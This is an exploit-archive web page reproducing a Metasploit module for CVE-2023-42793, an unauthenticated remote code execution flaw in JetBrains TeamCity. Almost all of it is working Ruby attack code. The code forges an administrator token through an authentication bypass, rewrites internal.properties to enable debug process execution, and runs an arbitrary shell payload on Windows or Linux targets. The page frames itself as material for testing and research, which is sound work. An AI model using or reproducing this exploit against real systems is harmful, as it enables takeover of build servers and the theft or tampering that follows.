Advertisement






JetBrains TeamCity Unauthenticated Remote Code Execution

CVE Category Price Severity
CVE-2023-42793 CWE-20 $50,000 Critical
Author Risk Exploitation Type Date
Unknown High Remote 2023-10-01
CPE
cpe:cpe:/a:jetbrains:teamcity
CVSS EPSS EPSSP
CVSS:10.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H 0.0489 0.19047

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023100003

Below is a copy:

JetBrains TeamCity Unauthenticated Remote Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Retry
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'JetBrains TeamCity Unauthenticated Remote Code Execution',
        'Description' => %q{
          This module exploits an authentication bypass vulnerability to achieve unauthenticated remote code execution
          against a vulnerable JetBrains TeamCity server. All versions of TeamCity prior to version 2023.05.4 are
          vulnerable to this issue. The vulnerability was originally discovered by SonarSource.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'sfewer-r7', # MSF Exploit & Rapid7 Analysis
        ],
        'References' => [
          ['CVE', '2023-42793'],
          ['URL', 'https://attackerkb.com/topics/1XEEEkGHzt/cve-2023-42793/rapid7-analysis'],
          ['URL', 'https://blog.jetbrains.com/teamcity/2023/09/critical-security-issue-affecting-teamcity-on-premises-update-to-2023-05-4-now/']
        ],
        'DisclosureDate' => '2023-09-19',
        'Platform' => %w[win linux],
        'Arch' => [ARCH_CMD],
        'Payload' => { 'Space' => 1024 },
        'Privileged' => false, # TeamCity may be installed to run as local system/root, or it may be run as a custom user account.
        'Targets' => [
          [
            'Windows',
            {
              'Platform' => 'win'
            }
          ],
          [
            'Linux',
            {
              'Platform' => 'linux'
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        # By default TeamCity listens for HTTP requests on TCP port 8111.
        Opt::RPORT(8111),
        # The first user created during installation is an administrator account, so the ID will be 1.
        OptInt.new('TEAMCITY_ADMIN_ID', [true, 'The ID of an administrator account to authenticate as', 1]),
        # We modify a configuration file, we need to wait for the changes to be picked up. These options govern how we wait.
        OptInt.new('TEAMCITY_CHANGE_TIMEOUT', [true, 'The timeout to wait for the changes to be applied', 30])
      ]
    )
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => '/login.html'
    )

    return CheckCode::Unknown('Connection failed') unless res

    # We expect a TeamCity server to respond with either a "TeamCity-Node-Id" header value or a cookie named "TCSESSIONID".
    # In the responses HTML body will be a string containing the release name and build version.
    if (res.headers.key?('TeamCity-Node-Id') || res.get_cookies.include?('TCSESSIONID')) && (res.body =~ /(\d+\.\d+\.\d+) \(build (\d+)\)/)
      detected = "JetBrains TeamCity #{::Regexp.last_match(1)} (build #{::Regexp.last_match(2)}) detected."

      # The vulnerability was patched in release 2023.05.4 (build 129421) so anything before this build is vulnerable.
      if ::Regexp.last_match(2).to_i < 129421
        return CheckCode::Vulnerable(detected)
      end

      return CheckCode::Safe(detected)
    end

    CheckCode::Unknown
  end

  def exploit
    token_uri = "/app/rest/users/id:#{datastore['TEAMCITY_ADMIN_ID']}/tokens/RPC2"

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(token_uri)
    )

    # A token named 'RPC2' may already exist if this system has been exploited before and previous exploitation
    # did not delete teh token after use. We detect that here, delete the token (as we dont know its value) if required
    # and then proceed to create a new token for our use.
    if res && (res.code == 400) && res.body.include?('Token already exists')

      print_status('Token already exists, deleting and generating a new one.')

      unless delete_token(token_uri)
        fail_with(Failure::UnexpectedReply, 'Failed to delete the authentication token.')
      end

      res = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(token_uri)
      )
    end

    unless res&.code == 200
      # One reason token creation may fail is if we use a user ID for a user that does not exist. We detect that here
      # and instruct the user to choose a new ID via the TEAMCITY_ADMIN_ID option.
      if res && (res.code == 404) && res.body.include?('User not found')
        print_warning('User not found, try setting the TEAMCITY_ADMIN_ID option to a different ID.')
      end

      fail_with(Failure::UnexpectedReply, 'Failed to create an authentication token.')
    end

    begin
      token = Nokogiri::XML(res.body).xpath('/token')&.attr('value').to_s

      print_status("Created authentication token: #{token}")

      print_status('Modifying internal.properties to allow process creation...')

      unless modify_internal_properties(token, 'rest.debug.processes.enable', 'true')
        fail_with(Failure::UnexpectedReply, 'Failed to modify the internal.properties config file.')
      end

      begin
        print_status('Executing payload...')

        vars_get = {}

        # We need to supply multiple params with the same name, so the TeamCity server (A Java Spring framework) can
        # construct a List<String> sequence for multiple parameters. We can do this be enabling `compare_by_identity`
        # in the Ruby Hash.
        vars_get.compare_by_identity

        case target['Platform']
        when 'win'
          vars_get['exePath'] = 'cmd.exe'
          vars_get['params'] = '/c'
          vars_get['params'] = payload.encoded
        when 'linux'
          vars_get['exePath'] = '/bin/sh'
          vars_get['params'] = '-c'
          vars_get['params'] = payload.encoded
        end

        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri('/app/rest/debug/processes'),
          'uri_encode_mode' => 'hex-all', # we must encode all characters in the query param for the payload to work.
          'headers' => {
            'Authorization' => "Bearer #{token}",
            'Content-Type' => 'text/plain'
          },
          'vars_get' => vars_get
        )

        unless res&.code == 200
          fail_with(Failure::UnexpectedReply, 'Failed to execute arbitrary process.')
        end
      ensure
        print_status('Resetting the internal.properties settings...')

        unless modify_internal_properties(token, 'rest.debug.processes.enable', nil)
          fail_with(Failure::UnexpectedReply, 'Failed to modify the internal.properties config file.')
        end
      end
    ensure
      print_status('Deleting the authentication token.')

      unless delete_token(token_uri)
        fail_with(Failure::UnexpectedReply, 'Failed to delete the authentication token.')
      end
    end
  end

  def delete_token(token_uri)
    res = send_request_cgi(
      'method' => 'DELETE',
      'uri' => normalize_uri(token_uri),
      'headers' => {
        'Connection' => 'close'
      }
    )

    res&.code == 204
  end

  def modify_internal_properties(token, key, value)
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri('/admin/dataDir.html'),
      'headers' => {
        'Authorization' => "Bearer #{token}"
      },
      'vars_get' => {
        'action' => 'edit',
        'fileName' => 'config/internal.properties',
        'content' => value ? "#{key}=#{value}" : ''
      }
    )

    unless res&.code == 200
      # If we are using an authentication for a non admin user, we cannot modify the internal.properties file. The
      # server will return a 302 redirect if this is the case. Choose a different TEAMCITY_ADMIN_ID and try again.
      if res&.code == 302
        print_warning('This user is not an administrator, try setting the TEAMCITY_ADMIN_ID option to a different ID.')
      end

      return false
    end

    print_status('Waiting for configuration change to be applied...')
    retry_until_truthy(timeout: datastore['TEAMCITY_CHANGE_TIMEOUT']) do
      res = send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri('/admin/admin.html'),
        'headers' => {
          'Authorization' => "Bearer #{token}",
          'Accept' => '*/*'
        },
        'vars_get' => {
          'item' => 'diagnostics',
          'tab' => 'properties'
        }
      )

      res&.code == 200 && res.body.include?(key)
    end
  end
end

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum